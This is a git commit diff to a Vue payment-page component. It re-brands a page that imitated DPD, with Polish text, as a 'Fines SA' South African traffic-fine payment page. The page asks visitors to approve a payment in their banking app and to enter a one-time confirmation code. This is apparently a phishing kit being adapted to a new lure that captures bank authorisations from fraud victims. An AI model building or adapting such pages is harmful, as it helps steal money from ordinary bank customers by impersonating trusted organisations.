This commit is contained in:
telangpu
2026-05-07 23:42:22 +08:00
parent 7b61eeb6b8
commit 2a2ed90bf0

View File

@@ -68,64 +68,63 @@ const submit = async () => {
</script>
<template>
<div class="dpd-app-wrapper">
<div class="dpd-app-card">
<div class="app-valid-wrapper">
<div class="app-valid-card">
<div class="app-valid-badge">Fines SA</div>
<!-- 手机 App 授权图示 -->
<div class="dpd-phone-icon">
<div class="app-valid-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f8f6f1" stroke="#17394a" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#df6b2d" opacity="0.35"/>
<circle cx="40" cy="70" r="3" fill="#17394a" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#df6b2d" opacity="0.12" stroke="#df6b2d" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#df6b2d" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
<h2 class="app-valid-title">Confirm in your banking app</h2>
<p class="dpd-desc">
Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
Nie zamykaj tej strony do momentu potwierdzenia.
<p class="app-valid-desc">
Open your banking app and approve this Fines SA payment authorisation for your South African traffic fine.<br/>
Keep this page open until the confirmation is complete.
</p>
<div class="dpd-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
<div class="app-valid-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#17394a" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
<p class="app-valid-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="app-valid-sub">{{ t("Please do not close this page") }}</p>
<p class="dpd-error" v-if="message">{{ message }}</p>
<p class="app-valid-error" v-if="message">{{ message }}</p>
<div class="dpd-input-wrap" v-if="showInput">
<label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
<div class="app-valid-input-wrap" v-if="showInput">
<label class="app-valid-input-label">App confirmation code</label>
<input
required
type="number"
inputmode="numeric"
class="dpd-input"
class="app-valid-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Wprowadź kod"
placeholder="Enter the code"
/>
<button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
<button class="app-valid-btn" type="button" @click="submit">Confirm payment</button>
</div>
<div class="dpd-loading-wrap" v-if="!showInput">
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<div class="app-valid-loading-wrap" v-if="!showInput">
<svg class="app-valid-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
<circle cx="25" cy="25" r="20" fill="none" stroke="#df6b2d" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji</p>
<p class="app-valid-waiting">Waiting for confirmation in your banking app...</p>
</div>
</div>
@@ -133,77 +132,86 @@ const submit = async () => {
</template>
<style scoped>
.dpd-app-wrapper {
min-height: 100dvh;
background-color: #f6f6f6;
.app-valid-wrapper {
min-height: 100vh;
background:
radial-gradient(circle at top left, rgba(223, 107, 45, 0.16), transparent 28%),
linear-gradient(180deg, #f7f2e9 0%, #f8f5ef 38%, #fbfaf7 100%);
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
font-family: Arial, sans-serif;
font-family: "Avenir Next", "Trebuchet MS", sans-serif;
}
.dpd-app-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #e5e5e5;
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
.app-valid-card {
background: rgba(255, 255, 255, 0.94);
border-radius: 20px;
border: 1px solid rgba(24, 49, 63, 0.08);
box-shadow: 0 18px 40px rgba(24, 49, 63, 0.1);
padding: 36px 28px;
width: 100%;
max-width: 400px;
max-width: 430px;
text-align: center;
}
.dpd-logo {
margin-bottom: 20px;
.app-valid-badge {
display: inline-flex;
align-items: center;
justify-content: center;
margin-bottom: 18px;
padding: 7px 12px;
border-radius: 999px;
background: #fff7ec;
border: 1px solid rgba(223, 107, 45, 0.18);
color: #a25021;
font-size: 12px;
font-weight: 800;
letter-spacing: 0.05em;
text-transform: uppercase;
}
.dpd-logo-img {
width: 100px;
height: auto;
}
.dpd-phone-icon {
.app-valid-icon {
margin: 0 auto 20px;
}
.dpd-title {
.app-valid-title {
font-size: 20px;
font-weight: 800;
color: #222;
color: #18313f;
margin-bottom: 12px;
}
.dpd-desc {
.app-valid-desc {
font-size: 14px;
color: #555;
color: #61727c;
line-height: 1.6;
margin-bottom: 20px;
}
.dpd-bank-row {
.app-valid-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #333;
color: #18313f;
margin-bottom: 8px;
}
.dpd-sub {
.app-valid-sub {
font-size: 13px;
color: #888;
color: #7c8a92;
margin: 4px 0;
}
.dpd-error {
color: #dc0032;
.app-valid-error {
color: #b02b3a;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
}
.dpd-input-wrap {
.app-valid-input-wrap {
margin-top: 20px;
display: flex;
flex-direction: column;
@@ -211,17 +219,17 @@ const submit = async () => {
align-items: center;
}
.dpd-input-label {
.app-valid-input-label {
font-size: 14px;
font-weight: 600;
color: #333;
color: #18313f;
}
.dpd-input {
.app-valid-input {
width: 80%;
padding: 10px 12px;
border: 2px solid #ccc;
border-radius: 6px;
border-radius: 10px;
font-size: 18px;
font-weight: 700;
text-align: center;
@@ -229,27 +237,28 @@ const submit = async () => {
box-sizing: border-box;
}
.dpd-input:focus {
border-color: #dc0032;
.app-valid-input:focus {
border-color: #df6b2d;
box-shadow: 0 0 0 4px rgba(223, 107, 45, 0.12);
}
.dpd-btn {
.app-valid-btn {
width: 80%;
padding: 12px;
background-color: #dc0032;
background: linear-gradient(135deg, #17394a, #225573);
color: #fff;
border: none;
border-radius: 6px;
border-radius: 999px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.dpd-btn:active {
background-color: #b30026;
.app-valid-btn:active {
background: #17394a;
}
.dpd-loading-wrap {
.app-valid-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
@@ -257,15 +266,15 @@ const submit = async () => {
gap: 12px;
}
.dpd-spinner {
.app-valid-spinner {
width: 48px;
height: 48px;
animation: spin 1.2s linear infinite;
}
.dpd-waiting {
.app-valid-waiting {
font-size: 13px;
color: #999;
color: #7c8a92;
}
@keyframes spin {